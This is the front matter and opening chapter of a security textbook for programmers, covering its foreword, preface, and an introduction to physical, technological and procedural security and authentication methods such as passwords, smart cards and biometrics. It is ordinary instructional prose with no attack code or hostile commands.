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BOOKS FOR PROFESSIONALS BY PROFESSIONALS®

Foundations of Security: What Every Programmer Needs to Know

Dear Reader,

Chances are that unless we all learn something about security, the Internet will
continue to be a very vulnerable place in which cybercriminals thrive. If you
write code that runs on the Web, and you don’t know all the material in this
book, your code can probably be quite easily hacked. If you do learn all the
material in this book, your code will not only be more robust in the face of
attacks, but you will also become more marketable to companies and potential
employers because you will know more about how to keep their customers and
users safe from cyber-attacks. 

This book takes a principled approach to helping you design and implement
your applications to be secure from the ground up, and illustrates these princi-
ples using running examples of web applications throughout the book. Just as
you might use object-oriented design principles to achieve extensibility and
code reuse, you need to learn about security design principles, such as the
principle of least privilege, fail-safe stance, and securing the weakest link, to
achieve security—all of which is covered in this book. 

This book does not just focus on merely teaching you “tips” and “tricks” that
allow you to “band-aid” the security of your systems. Instead, it illustrates how
security principles can be employed to prevent some of the most significant,
current-day attack types, such as cross-site scripting (XSS) and SQL injection,
as well as more traditional attack types such as buffer overflows. We also cover
session and password management, and show you how you can use cryptogra-
phy to help achieve various security goals.

This book is based on the curriculum for the Stanford Center for Professional
Development (SCPD) Computer Security Certification. Many programmers and
companies have already benefited from the curriculum, and we hope and
expect that many more will benefit from this book.

Sincerely,

Neil Daswani, PhD (www.neildaswani.com)
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Foreword

When Neil Daswani and Christoph Kern invited me to write a foreword to the book you are
reading now, I accepted without hesitation and with a good deal of pleasure. This timely vol-
ume is solidly grounded in theory and practice and is targeted at helping programmers
increase the security of the software they write. Despite the long history of programming, it
seems as if bug-free and resilient software continues to elude us. This problem is exacerbated
in networked environments because attacks against the vulnerabilities in software can come
from any number of other computers and, in the Internet, that might mean millions of poten-
tial attackers. Indeed, the computers of the Internet that interact with each other are in some
sense performing unplanned and unpredictable tests between the software complements of
pairs of machines. Two machines that start out identically configured will soon become diver-
gent as new software is downloaded as a consequence of surfing the World Wide Web or as
updates are applied unevenly among the interacting machines. This richly diverse environ-
ment exposes unexpected vulnerabilities, some of which may be exploited deliberately by
hackers intent on causing trouble or damage and who may even have pecuniary motivations
for their behavior. So-called bot armies are available in the millions to be directed against
chosen targets, overwhelming the defenses of some systems by the sheer volume of the attack.
In other cases, known weaknesses are exploited to gain control of the target machines or to
introduce viruses, worms, or Trojan horses that will do further damage. 

Programmers writing for networked environments have a particularly heavy responsibil-
ity to be fully aware of the way in which these vulnerabilities may come about and have a duty
to do everything they can to discover and remove them or to assure that they are eliminated
by careful design, implementation, and testing. It takes discipline and a certain amount of
paranoia to write secure software. In some ways it is like driving defensively. You must assume
you are operating in a hostile environment where no other computer can be trusted without
demonstrating appropriate and verifiable credentials. Even this is not enough. In a kind of
nightmare scenario, someone with a USB memory stick can bypass all network defenses and
inject software directly into the computer. Such memory sticks emulate disks and can easily
pick up viruses or worms when they are used on unprotected computers, and when reused
elsewhere, can propagate the problem. All input must be viewed with suspicion until cleared
of the possibility of malformation. 

Vulnerability can exist at all layers of the Internet protocol architecture and within the
operating systems. It is naive to imagine that simply encrypting traffic flowing between pairs
of computers on the Internet is sufficient to protect against exploitation. An obvious example
is a virus attached to an e-mail that is sent through the Internet fully encrypted at the IP layer
using IPsec. Once the message is decrypted packet by packet and reassembled, the virus will
be fully ready to do its damage unless it is detected at the application layer by the e-mail
client, or possibly by the mail transport agent that delivers the e-mail to the target recipient. 

It is vital to understand not only how various attacks are carried out, but also how the vul-
nerabilities that enable these attacks arise. Programs that fail to check that inputs are properly

xv
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sized or have appropriate values may be vulnerable to buffer overruns leading to application
or even operating system compromise. Failure to verify that input is coming in response to a
request could lead to database pollution (this is one way that Domain Name System resolvers
can end up with a “poisoned” cache). Among the most pernicious of network-based attacks
are the denial-of-service attacks and the replay attacks that resend legitimately formatted
information at the target in the hope of causing confusion and malfunction. 

In this book, Daswani and Kern have drawn on real software vulnerabilities and network-
based threats to provide programmers with practical guidelines for defensive programming.
Much of the material in this book has been refined by its use in classroom settings with real
programmers working on real problems. In the pursuit of security, there is no substitute for
experience with real-world problems and examples. Abstracting from these concrete examples,
the authors develop principles that can guide the design and implementation and testing of
software intended to be well protected and resilient against a wide range of attacks. 

Security is not only a matter of resisting attack. It is also a matter of designing for resilience
in the face of various kinds of failure. Unreliable software is just as bad as software that is vul-
nerable to attack, and perhaps is worse because it may fail simply while operating in a benign
but failure-prone setting. Fully secure software is therefore also designed to anticipate various
kinds of hardware and software failure and to be prepared with remediating reactions. Good
contingency planning is reliant on imagination and an ability to compose scenarios, however
unlikely, that would render false the set of assumptions that might guide design for the “nor-
mal” case. The ability to anticipate the possible, if unlikely, situations—the so-called “corner”
cases—is key to designing and implementing seriously resilient software. 

It is a pleasure to commend this book to your attention. I share with its authors the hope
that it will assist you in the production of increasingly secure and resilient software upon
which others may rely with confidence.

Vinton G. Cerf
Vice President and Chief Internet Evangelist, Google
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Preface

Dr. Gary McGraw, a well-known software security expert, said, “First things first—make sure
you know how to code, and have been doing so for years. It is better to be a developer (and
architect) and then learn about security than to be a security guy and try to learn to code”
(McGraw 2004). If you are interested in becoming a security expert, I wholeheartedly agree
with him. At the same time, many programmers who just need to get their job done and do
not necessarily intend to become security experts also do not necessarily have the luxury of
pursuing things in that order. Often, programmers early in their careers are given the respon-
sibility of producing code that is used to conduct real business on the Web, and need to learn
security while they are continuing to gain experience with programming. This book is for
those programmers—those who may have (at most) just a few years of experience program-
ming. This book makes few assumptions about your background, and does its best to explain
as much as it can. It is not necessarily for people who want to become security experts for a
living, but it instead helps give a basic introduction to the field with a focus on the essentials
of what every programmer needs to know about security.

One might argue that our approach is dangerous, and that we should not attempt to teach
programmers about security until they are “mature” enough. One might argue that if they do
not know everything they need to know about programming before they learn about security,
they might unknowingly write more security vulnerabilities into their code. We argue that if we
do not teach programmers something about security, they are going to write vulnerabilities
into their code anyway! The hope is that if we teach programmers something about security
early in their careers, they will probably write fewer vulnerabilities into their code than they
would have otherwise, and they may even develop a “spidey sense” about when to ask security
professionals for help instead of writing code in blissful ignorance about security.

That said, the goal of this book is to provide enough background for you to develop a
good intuition about what might and might not be secure. We do not attempt to cover every
possible software vulnerability in this book. Instead, we sample some of the most frequent
types of vulnerabilities seen in the wild, and leave it to you to develop a good intuition about
how to write secure code. After all, new types of vulnerabilities are identified every day, and
new types of attacks surface every day. Our goal is to arm you with principles about how to
reason about threats to your software, give you knowledge about how to use some basic
defense mechanisms, and tell you where you can go to learn more. (Hence, we have included
many references.)

Chief information and security officers can use this book as a tool to help educate soft-
ware professionals in their organizations to have the appropriate mindset to write secure
software. This book takes a step toward training both existing and new software professionals
on how to build secure software systems and alleviate some of the common vulnerabilities
that make today’s systems so susceptible to attack.

Software has become part of the world’s critical infrastructure. We are just as dependent
upon software as we are on electricity, running water, and automobiles. Yet, software engi-
neering has not kept up and matured as a field in making sure that the software that we rely
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on is safe and secure. In addition to the voluminous amount of bad press that security vulner-
abilities have generated for software companies, preliminary security economics research
indicates that a public software company’s valuation drops after the announcement of each
vulnerability (Telang and Wattal 2005).

Most students who receive degrees in computer science are not required to take a course
in computer security. In computer science, the focal criteria in design have been correctness,
performance, functionality, and sometimes scalability. Security has not been a key design cri-
terion. As a result, students graduate, join companies, and build software and systems that
end up being compromised—the software finds its way to the front page of press articles on a
weekly (or daily) basis, customers’ personal information that was not adequately protected by
the software finds its way into the hands of criminals, and companies lose the confidence of
their customers. 

The rampant spread of computer viruses and overly frequent news about some new vari-
ant worm or denial-of-service attack are constant reminders that the field has put function-
ality before security and safety. Every other major field of engineering ranging from civil engi-
neering to automobile engineering has developed and deployed technical mechanisms to
ensure an appropriate level of safety and security. Every structural engineer learns about the
failures of the Tacoma Narrows bridge.1 Automobile engineers, even the ones designing the
cup holders in our cars, think about the safety and security of the car’s passengers—if the car
ends up in an accident, can the cup holder break in a way that it might stab a passenger?

Unfortunately, it might be hard to argue that the same level of rigor for safety and security
is taught to budding software engineers. Safety and security have taken precedence in other
engineering fields partially because students are educated about them early in their careers.
The current situation is untenable—today’s software architects, developers, engineers, and
programmers need to develop secure software from the ground up so that attacks can be pre-
vented, detected, and contained in an efficient fashion. Computer security breaches are
expensive to clean up after they have happened. Corporate firewalls are often just “turtle
shells” on top of inherently insecure systems, and in general are not enough to prevent many
types of attacks. Some simple attacks might bounce off the shell, but a hacker just needs to
find one soft spot to cause significant damage. Most of these attacks can be stopped. 

To complement other software security books that focus on a broader or narrower a range
of security vulnerabilities, this book closely examines the 20 percent of the types of vulnerabil-
ities that programmers need to know to mitigate 80 percent of attacks. Also, while this book
does not focus on various tips and tricks that might encourage a “band-aid” approach to secu-
rity, it does teach you about security goals and design principles, illustrates them through
many code examples, and provides general techniques that can be used to mitigate large
classes of security problems.

Our focus on teaching you how to have a paranoid mindset will also allow you to apply
the design principles and techniques we cover to your particular programming tasks and
challenges, irrespective of which programming languages, operating systems, and software

■PREFACExxiv

1. The original Tacoma Narrows bridge was a suspension bridge built in 1940 in Washington State that
employed plate girders to support the roadbed instead of open lattice beam trusses. The bridge vio-
lently collapsed four months after its construction due to a 42-mile-per-hour wind that induced a
twisting motion that was not considered when the bridge was first designed. The structural collapse
was captured on video (see www.archive.org/details/Pa2096Tacoma), and is still discussed to this day
in many introductory structural and civil engineering classes.
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environments you use. Unlike most software books, which are dry and filled with complex
technical jargon, this book is written in a simple, straightforward fashion that is easy to read
and understand. This book contains many, many examples that allow you to get a deeper
practical understanding of computer security. In addition, we use a running example analyz-
ing the security of a functional web server to illustrate many of the security design principles
we discuss.

This book is based on the tried-and-tested curriculum for the Stanford Center for Profes-
sional Development (SCPD) Computer Security Certification (see http://proed.stanford.
edu/?security). Many companies and software professionals have already benefited from our
course curriculum, and we hope and expect that many more will benefit from this book.

Who This Book Is For
This book is written for programmers. Whether you are studying to be a programmer, have
been a programmer for some time, or were a programmer at some point in the past, this book
is for you. This book may also be particularly interesting for web programmers, as many of the
examples are drawn from the world of web servers and web browsers, key technologies that
have and will continue to change the world in ways that we cannot necessarily imagine ahead
of time.

For those who are studying to be programmers, this book starts with teaching you the
principles that you need to know to write your code in a paranoid fashion, and sensitizes you
to some of the ways that your software can be abused by evil hackers once it has been deployed
in the real world. The book assumes little about your programming background, and contains
lots of explanations, examples, and references to where you can learn more. 

This book is also written to be read by those who have been programming for some time,
but, say, have never been required to take a course in security. (At the time of writing of this
book, that probably includes more than 90 percent of the computer science graduates in the
world.) It is written so that it can be the first book you read about computer security, but due
to its focus on what security should mean for application programmers (as opposed to system
administrators), it will help you significantly build on any existing knowledge that you have
about network or operating systems security.

Finally, if you used to be a programmer (and are now, say, a product manager, project
manager, other type of manager, or even the CIO/CSO of your company), this book tells you
what you need to do to instill security in your products and projects. I’d encourage you to
share the knowledge in this book with the programmers that you work with. For those of you
who are CIOs or CSOs of your company, this book has been written to serve as a tool that you
can provide to the programmers in your company so that they can help you mitigate risk due
to software vulnerabilities. 

How This Book Is Structured
This book is divided into three parts, and has exercises at the end of each of the parts. The
first part focuses on what your goals should be in designing secure systems, some high-level
approaches and methodologies that you should consider, and the principles that you should
employ to achieve security. 
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The second part starts with a chapter that covers worms and other malware that has been
seen on the Internet. The chapter is meant to scare you into understanding how imperative
security is to the future of the entire Internet. While many feel that the topic of worms may be
sufficiently addressed at the time of writing of this book, I am not quite sure that I see any
inherent reason that the threat could not return in full force if we make mistakes in designing
and deploying the next generation of operating system, middleware, and applications soft-
ware. The chapters following that discuss particular types of vulnerabilities that have caused
much pain, such as buffer overflows and additional types of vulnerabilities that have sprung
up over the past few years (including client-state manipulation, secure session management,
command injection, and cross-domain attacks). In the second part of the book, we also
include a chapter on password management, as the widespread use of passwords coupled
with badly designed password management systems leads to easily exploitable systems.

The third part of the book provides you with an introduction to cryptography. Cryptography
can be an effective tool when used correctly, and when used under the advice and consulta-
tion of security experts. The chapters on cryptography have been provided to give you a
fluency with various techniques that you can use to help secure your software. After you read
the cryptography chapters in this book, if you feel that some of the techniques can help your
software achieve its security goals, you should have your software designs and code reviewed
by a security expert. This book tells you what you need to know about security to make sure
you don’t make some of the most common mistakes, but it will not make you a security
expert—for that, years of experience as well as additional instruction will be required. At the
same time, reading this book is a great first step to learning more about security.

In addition to reading the chapters in this book, we strongly encourage you to do the
exercises that appear at the end of each part. Some of the exercises ask concept-based ques-
tions that test your understanding of what you have read, while others are hands-on program-
ming exercises that involve constructing attacks and writing code that defends against them.
In the world of security, the devil is often in the details, and doing the exercises will give you a
much deeper, more detailed understanding to complement your readings. Doing these exer-
cises will help you to walk the walk—not just talk the talk.

If you are an instructor of a computer security course, have the students read the first
three chapters and do the exercises. Even if you don’t have them do all the exercises at the
end of each part of the book, or if you perhaps provide your own complementary exercises, I
would recommend that at least some of the exercises that you give them be programming
exercises. Chapter 5 could be considered optional, as it is meant to provide some history—at
the same time, learning history helps you prevent repeating mistakes of the past. This book is
meant to be read from cover to cover, and I believe it holds true to its title in that every pro-
grammer should know all of the material in this book, especially if they will be writing code
that runs on the Web and handles real user data.

To help those of you who will be teaching security courses, we provide slides based on
the material in this book for free at www.learnsecurity.com. Each slide deck corresponds to a
chapter, and illustrates the same examples that are used in the text, such that the students’
readings can reinforce the material discussed in lectures. If you choose to use this book as a
required or optional text for your course, the slides can help you save time so that you can
focus on the delivery of your course. If your institution has decided to beef up its security
training, and you need to get yourself trained so that you can teach the students, I would highly
recommend completing both the Fundamental and Advanced Security Certifications at the
Stanford Center for Professional Development. There are also many other security training
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programs in the market, and you are free to choose from any of them. However, due to the
young state that the field is in, I would encourage you to choose cautiously, and understand
the goals of any particular training program. Is the goal to simply give students a label that
they can put on their résumés, or does the program have enough depth to enable to students
to solve the real, underlying software security problems that an organization faces?

Conventions
In many parts of this book, we use URLs to refer to other works. Such practice is sometimes
criticized because the Web changes so rapidly. Over time, some of the URLs that this book
refers to will no longer work. However, as that happens, we encourage readers to use Internet
archive-like services such as the Wayback Machine at www.archive.org to retrieve old versions
of documents at these URLs when necessary. Now, let’s just hope that the Wayback Machine
and/or other Internet archives continue to work!

Although we may refer to UNIX or Linux in various parts of the text, comments that we
make regarding them generally hold true for various flavors of UNIX-based operating systems. 

This book has a lot of information, and some of the content has subtleties. We try to point
out some of the subtleties in many cases in footnotes. I would recommend reading the foot-
notes the second time around so that you don’t get distracted during your first read through
this book.

Prerequisites
This book has no prerequisites, except that you have an interest in programming and security,
and have perhaps done some small amount of programming in some language already.

Downloading the Code
All the code examples in this book are available at www.learnsecurity.com/ntk, as well as in
ZIP file format in the Source Code/Download section of the Apress web site.

Contacting the Authors
Neil Daswani can be contacted at www.neildaswani.com and daswani@learnsecurity.com.

Christoph Kern can be contacted at xtof@xtof.org.

Anita Kesavan can be contacted at www.anitakesavan.com and anita.kesavan@gmail.com.
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Security Goals

The two main objectives in the first three chapters of this book are to establish the key goals
of computer security and to provide an overview of the core principles of secure systems
design. 

Chapter 1 focuses on the role that technological security plays in the design of a large
secure system, and the seven key concepts in the field of security: 

• Authentication 

• Authorization 

• Confidentiality 

• Data/message integrity 

• Accountability 

• Availability 

• Non-repudiation

After discussing these concepts, we will then illustrate the role they play in the scope of
a larger system by looking at an example of a web client interacting with a web server, and
examining the contribution these key concepts make in that interaction. 

1.1. Security Is Holistic
Technological security and all the other computer security mechanisms we discuss in this
book make up only one component of ensuring overall, holistic security to your system. By
technological security, we mean application security, operating system (OS) security, and net-
work security. In addition to discussing what it means to have application, OS, and network
security, we will touch upon physical security, and policies and procedures. Achieving holistic
security requires physical security, technological security, and good policies and procedures.
Having just one or two of these types of security is usually not sufficient to achieve security: all
three are typically required. An organization that has advanced technological security mecha-
nisms in place but does not train its employees to safeguard their passwords with care will not
be secure overall. The bulk of this book focuses on technological security, and we briefly com-
ment on physical security and policies and procedures in this chapter, as security is holistic.
However, our coverage of physical security and policies and procedures do not do the topics
justice—for more information, we would encourage you to do the following: 3
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• Read standards such as ISO 17799 (see www.iso.org/iso/en/prods-services/popstds/
informationsecurity.html and www.computersecuritynow.com).

• Visit sites such as the SANS Security Policy Project (www.sans.org/resources/policies)
for more information on security policies and procedures.

• Read Practical UNIX and Network Security, by Simson Garfinkel, Gene Spafford, and
Alan Schwartz, for more on operating system and network security.

1.1.1. Physical Security
Physically securing your system and laying down good policies for employees and users is
often just as important as using the technological security mechanisms that we cover in this
book. All of your servers should be behind locked doors, and only a privileged set of employees
(typically system and security administrators) should have access to them. In addition, data
centers used to house farms of servers can employ cameras, card reader and biometric locks,
and even “vaults” of various kinds, depending upon the sensitivity of data stored on the
servers.

In addition to mechanisms that limit access to a physical space to prevent asset theft and
unauthorized entry, there are also mechanisms that protect against information leakage and
document theft. Documents containing sensitive information can be shredded before they’re
disposed of so that determined hackers can be prevented from gathering sensitive informa-
tion by sifting through the company’s garbage. Such an attack is often referred to as dumpster
diving.

1.1.2. Technological Security
In addition to physical security, there are many technical levels of security that are important.
Technological security can be divided into three components: application security, OS secu-
rity, and network security. 

Note that our use of the word technological to group together application, OS, and net-
work security may not be the best of terms! Clearly, various types of technology can also be
used to achieve physical security. For example, employees can be given electronic badges,
and badge readers can be put on the door of the server room. The badges and readers clearly
employ technology—but here, we use the term technological security to refer to software-
related application, OS, and network security technology. 

Application Security
A web server is an example of an application that can suffer from security problems. In this
chapter, and throughout the rest of the book, we use web servers to illustrate many application-
layer security vulnerabilities. The deployment scenario that we have in mind for a web server
is shown in Figure 1-1.
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Figure 1-1. A typical web server deployment scenario

Consider a scenario in which a web server is configured to allow only certain users to
download valuable documents. In this scenario, a vulnerability can arise if there is a bug in
how it ascertains the identity of the user. If the user’s identity is not ascertained properly, it
may be possible for an attacker to get access to valuable documents to which she would not
otherwise be granted access.

In addition to ensuring that there are no flaws in the identity verification process used
by a web server, it is also important that you configure your web server correctly. Web servers
are complicated pieces of software that have many options that can be turned on or off. For
instance, a web server may have an option that, when turned on, allows it to serve content
from a database; or when turned off, only allows it to serve files from its local file system.
Administrators must ensure that their web servers are configured correctly, so as to minimize
the possible methods of attack.

By restricting a web server to only serve files from its local file system, you prevent an
attacker from taking advantage of vulnerabilities in how a web server uses a back-end data-
base. It is possible for a malicious user to trick a web server into sending user-submitted data
to the database as a command, and thereby take control of the database. (One example of
such an attack is a SQL injection attack—we cover such attacks in Chapter 8.)

However, even if a web server is not configured to connect to a database, other configura-
tion options might, for instance, make available files on the local file system that a web server
administrator did not intend to make accessible. For instance, if a web server is configured
to make all types of files stored on its file system available for download, then any sensitive
spreadsheets stored on the local file system, for example, could be downloaded just as easily
as web documents and images. An attacker may not even need to probe web servers individu-
ally to find such documents. A search engine can inadvertently crawl and index sensitive
documents, and the attacker can simply enter the right keywords into the search engine to
discover such sensitive documents (Long 2004). 
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Another example of an application that could have a security vulnerability is a web
browser. Web browsers download and interpret data from web sites on the Internet. Some-
times web browsers do not interpret data in a robust fashion, and can be directed to download
data from malicious web sites. A malicious web site can make available a file that exploits a
vulnerability in web browser code that can give the attacker control of the machine that the
web browser is running on. As a result of poor coding, web browser code needs to be regularly
“patched” to eliminate such vulnerabilities, such as buffer overflows (as discussed in Chapter 6).
The creators of the web browser can issue patches that can be installed to eliminate the vul-
nerabilities in the web browser. A patch is an updated version of the software. The patch does
not have to consist of an entirely updated version, but may contain only components that
have been fixed to eliminate security-related bugs. 

OS Security
In addition to application security, OS security is also important. Your operating system—
whether it is Linux, Windows, or something else—also must be secured. Operating systems
themselves are not inherently secure or insecure. Operating systems are made up of tens or
hundreds of millions of lines of source code, which most likely contain vulnerabilities. Just as
is the case for applications, OS vendors typically issue patches regularly to eliminate such vul-
nerabilities. If you use Windows, chances are that you have patched your operating system at
least once using the Windows Update feature. The Windows Update feature periodically con-
tacts Microsoft’s web site to see if any critical system patches (including security patches)
need to be installed on your machine. If so, Windows pops up a small dialog box asking you
if it is OK to download the patch and reboot your machine to install it. 

It is possible that an attacker might try to exploit some vulnerability in the operating sys-
tem, even if you have a secure web server running. If there is a security vulnerability in the
operating system, it is possible for an attacker to work around a secure web server, since web
servers rely on the operating system for many functions. 

Network Security
Network layer security is important as well—you need to ensure that only valid data packets
are delivered to your web server from the network, and that no malicious traffic can get routed
to your applications or operating system. Malicious traffic typically consists of data packets
that contain byte sequences that, when interpreted by software, will produce a result unex-
pected to the user, and may cause the user’s machine to fail, malfunction, or provide access to
privileged information to an attacker. Firewalls and intrusion detection systems (IDSs) are two
types of tools that you can use to help deal with potentially malicious network traffic. 

1.1.3. Policies and Procedures
Finally, it is important to recognize that even if your system is physically and technologically
secure, you still need to establish a certain set of policies and procedures for all of your
employees to ensure overall security. For example, each employee may need to be educated
to never give out his or her password for any corporate system, even if asked by a security
administrator. Most good password systems are designed so that security and system admin-
istrators have the capability to reset passwords, and should never need to ask a user for her
existing password to reset it to a new one.
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Attackers can potentially exploit a gullible employee by impersonating another employee
within the company and convincing him (say, over the phone) to tell him his username or
password. Such an attack is called a social engineering attack, and is geared at taking advan-
tage of unsuspecting employees. Even if your applications, operating systems, and networks
are secure, and your servers are behind locked doors, an attacker can still conduct social engi-
neering attacks to work around the security measures you have in place.

As evidenced by the threat of social engineering, it is important to have policies and pro-
cedures in place to help guard sensitive corporate information. Writing down such policies
and procedures on paper or posting them on the company intranet is not enough. Your
employees need to be aware of them, and they need to be educated to be somewhat paranoid
and vigilant to create a secure environment. A combination of physical security, technological
security mechanisms, and employees who follow policies and procedures can result in
improved overall security for your environment.

It is often said that “security is a process, not a product” (Schneier 2000). There is much
more to security than just technology, and it is important to weigh and consider risks from all
relevant threat sources.

ARCHETYPAL CHARACTERS

We are going to spend the rest of this chapter illustrating seven key technological security goals (authentica-
tion, authorization, confidentiality, message/data integrity, accountability, availability, and non-repudiation).
We will do so with the help of a few fictitious characters that are often used in the field of computer security.
The first two fictitious characters are Alice and Bob, who are both “good guys” trying to get some useful work
done. Their work may often involve the exchange of secret information. Alice and Bob unfortunately have
some adversaries that are working against them—namely Eve and Mallory.

Another person that we will occasionally use in our examples is a gentleman by the name of Trent. Trent
is a trusted third party. In particular, Trent is trusted by Alice and Bob. Alice and Bob can rely on Trent to help
them get some of their work accomplished. We will provide more details about Alice, Bob, Eve, Mallory, and
Trent as necessary, and we encourage you to learn more about them by reading “The Story of Alice and Bob”
(Gordon 1984).

1.2. Authentication
Authentication is the act of verifying someone’s identity. When exploring authentication with
our fictitious characters Alice and Bob, the question we want to ask is: if Bob wants to commu-
nicate with Alice, how can he be sure that he is communicating with Alice and not someone
trying to impersonate her? Bob may be able to authenticate and verify Alice’s identity based
on one or more of three types of methods: something you know, something you have, and
something you are.

1.2.1. Something You Know
The first general method Bob can use to authenticate Alice is to ask her for some secret only
she should know, such as a password. If Alice produces the right password, then Bob can
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assume he is communicating with Alice. Passwords are so prevalently used that we dedicate
Chapter 9 to studying how to properly build a password management system.

There are advantages and disadvantages to using passwords. One advantage is that pass-
word schemes are simple to implement compared to other authentication mechanisms, such
as biometrics, which we will discuss later in this chapter. Another advantage of password
security systems is that they are simple for users to understand.

There are, however, disadvantages to using password security systems. First, most users
do not choose strong passwords, which are hard for attackers to guess. Users usually choose
passwords that are simple concatenations of common names, common dictionary words,
common street names, or other easy-to-guess terms or phrases. Attackers interested in hack-
ing into somebody’s account can use password-cracking programs to try many common login
names and concatenations of common words as passwords. Such password cracking programs
can easily determine 10 to 20 percent of the usernames and passwords in a system. Of course,
to gain access to a system, an attacker typically needs only one valid username and password.
Passwords are relatively easy to crack, unless users are somehow forced to choose passwords
that are hard for such password-cracking programs to guess. A second disadvantage of pass-
word security systems is that a user needs to reuse a password each time she logs into a
system—that gives an attacker numerous opportunities to “listen in” (see Section 1.4) on that
password. If the attacker can successfully listen in on a password just once, the attacker can
then log in as the user. 

A one-time password (OTP) system, which forces the user to enter a new password each
time she logs in, eliminates the risks of using a password multiple times. With this system, the
user is given a list of passwords—the first time she logs in, she is asked for the first password;
the second time she logs in, she is asked the second password; and so on. The major problem
with this system is that no user will be able to remember all these passwords. However, a
device could be used that keeps track of all the different passwords the user would need to
use each time she logs in. This basic idea of such a device naturally leads us from the topic
of “something you know” to the topic of “something you have.”

1.2.2. Something You Have
A second general method of authenticating a user is based on something that the user has. 

OTP Cards
OTP products generate a new password each time a user needs to log in. One such product,
offered by RSA Security, is the SecurID card (other companies have different names for such
cards). The SecurID card is a device that flashes a new password to the user periodically (every
60 seconds or so). When the user wants to log into a computer system, he enters the number
displayed on the card when prompted by the server. The server knows the algorithm that the
SecurID card uses to generate passwords, and can verify the password that the user enters.
There are many other variations of OTP systems as well. For instance, some OTP systems gen-
erate passwords for their users only when a personal identification number (PIN) is entered.
Also, while OTP systems traditionally required users to carry additional devices, they are
sometimes now integrated into personal digital assistants (PDAs) and cell phones.
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Smart Cards
Another mechanism that can authenticate users based on something that they have is a smart
card. A smart card is tamper-resistant, which means that if a bad guy tries to open the card or
gain access to the information stored on it, the card will self-destruct. The card will not self-
destruct in a manner similar to what comes to mind when you think of Mission Impossible.
Rather, the microprocessor, memory, and other components that make up the “smart” part of
the smart card are epoxied (or glued) together such that there is no easy way to take the card
apart. The only feasible way to communicate with the microprocessor is through its electronic
interface. Smart cards were designed with the idea that the information stored in the card’s
memory would only be accessible through the microprocessor. A smart card’s microprocessor
runs software that can authenticate a user while guarding any secret information stored on
the card. In a typical scenario, a user enters a smart card into a smart card reader, which con-
tains a numeric keypad. The smart card issues a “challenge” to the reader. The user is required
to enter a PIN into the reader, and the reader computes a response to the challenge. If the
smart card receives a correct response, the user is considered authenticated, and access to
use the secret information stored on the smart card is granted. 

One problem with using smart cards for authentication is that the smart card reader (into
which the PIN is entered) must be trusted. A rogue smart card reader that is installed by a bad
guy can record a user’s PIN, and if the bad guy can then gain possession of the smart card
itself, he can authenticate himself to the smart card as if he were the user. While such an attack
sounds as if it requires quite a bit of control on the part of the attacker, it is very feasible. For
example, an attacker could set up a kiosk that contains a rogue smart card reader in a public
location, such as a shopping mall. The kiosk could encourage users to enter their smart cards
and PINs by displaying an attractive message such as “Enter your smart card to receive a 50
percent discount on all products in this shopping mall!” Such types of attacks have occurred
in practice. Attacks against smart cards have also been engineered by experts such as Paul
Kocher, who runs a security company called Cryptography Research (www.cryptography.com).
By studying a smart card’s power consumption as it conducted various operations, Kocher
was able to determine the contents stored on the card. While such attacks are possible, they
require a reasonable amount of expertise on the part of the attacker. However, over time, such
attacks may become easier to carry out by an average attacker. 

ATM Cards
The ATM (automatic teller machine) card is another example of a security mechanism based
on some secret the user has. On the back of an ATM card is a magnetic stripe that stores
data—namely the user’s account number. This data is used as part of the authentication
process when a user wants to use the ATM. However, ATM cards, unlike smart cards, are not
tamper-resistant—anyone who has a magnetic stripe reader can access the information
stored on the card, without any additional information, such as a PIN. In addition, it is not
very difficult to make a copy of an ATM card onto a blank magnetic stripe card. Since the
magnetic stripe on an ATM card is so easy to copy, credit card companies also sometimes
incorporate holograms or other hard-to-copy elements on the cards themselves. However, it’s
unlikely that a cashier or point-of-sale device will actually check the authenticity of the holo-
gram or other elements of the card. 
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In general, the harder it is for an attacker to copy the artifact that the user has, the
stronger this type of authentication is. Magnetic stripe cards are fairly easy to copy. Smart
cards, however, are harder to copy because of their tamper-resistance features. 

1.2.3. Something You Are
The third general method of authenticating a user is based on something that the user is. Most
of the authentication techniques that fall into this category are biometric techniques, in which
something about the user’s biology is measured. When considering a biometric authentication
technique as part of your system, it is important to consider its effectiveness and social
acceptability. 

The first biometric authentication technique that we consider is a palm scan in which a
reader measures the size of a person’s hand and fingers, and the curves that exist on their
palm and fingers. It also incorporates fingerprint scans on each of the fingers. In this way, the
palm scan technique is much more effective than simply taking a single fingerprint of the
user.

A second technique used to biometrically authenticate someone is to scan their iris. In
this technique, a camera takes a picture of a person’s iris and stores certain features about it in
the system. Studies have been conducted to measure how comfortable people are with such
scans, and the iris scan appears to be more socially acceptable than the palm scan. In the
palm scan technique, the user is required to actually put her hand on the reader for a few sec-
onds, while in the iris scan, a camera just takes a quick picture of the user’s iris. The iris scan is
less intrusive since the user does not have to do anything except look in a particular direction. 

Another biometric technique is a retinal scan, in which infrared light is shot into a user’s
eyes, and the pattern of retinal blood vessels is read to create a signature that is stored by a
computer system. In a retinal scan, the user puts his head in front of a device, and then the
device blows a puff of air and shoots a laser into the user’s eye. As you can imagine, a retinal
scan is more intrusive than an iris scan or a palm scan. 

Another biometric authentication technique is fingerprinting. In fingerprinting, the user
places her finger onto a reader that scans the set of curves that makes up her fingerprint.
Fingerprinting is not as socially accepted as other biometric identification techniques since
people generally associate taking fingerprints with criminal activity. In addition, fingerprint-
ing provides less information than a palm scan. 

Voice identification is a mechanism in which a computer asks a user to say a particular
phrase. The computer system then takes the electrically coded signals of the user’s voice, com-
pares them to a databank of previous signals, and determines whether there is close enough of
a match. 

Facial recognition involves a camera taking a picture of a person’s face and a computer
system trying to recognize its features. 

Another technique, signature dynamics, records not only a user’s signature, but also the
pressure and timing at which the user makes various curves and motions while writing. The
advantage of signature dynamics over simple signature matching is that it is far more difficult
to replicate. 

The key disadvantages to these biometric authentication techniques are the number of
false positives and negatives generated, their varying social acceptance, and key management
issues. 
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A false positive occurs when a user is indeed an authentic user of the system, but the bio-
metric authentication device rejects the user. A false negative, on the other hand, occurs when
an impersonator successfully impersonates a user.

Social acceptance is another issue to take into account when considering biometric
authentication techniques. All the biometric authentication techniques discussed here are
less socially accepted than entering a password. 

The final disadvantage for biometric authentication techniques is the key management
issue. In each of these biometric authentication techniques, measurements of the user’s
biology are used to construct a key, a supposedly unique sequence of zeros and ones that
corresponds only to a particular user. If an attacker is able to obtain a user’s biological meas-
urements, however, the attacker will be able to impersonate the user. For example, a criminal
may able to “copy” a user’s fingerprint by re-creating it with a wax imprint that the criminal
puts on top of his finger. If you think of the user’s fingerprint as a “key,” then the key manage-
ment issue in this case is that we cannot revoke the user’s key because the user cannot get a
new fingerprint—even though her original fingerprint has been stolen. By contrast, the keys in
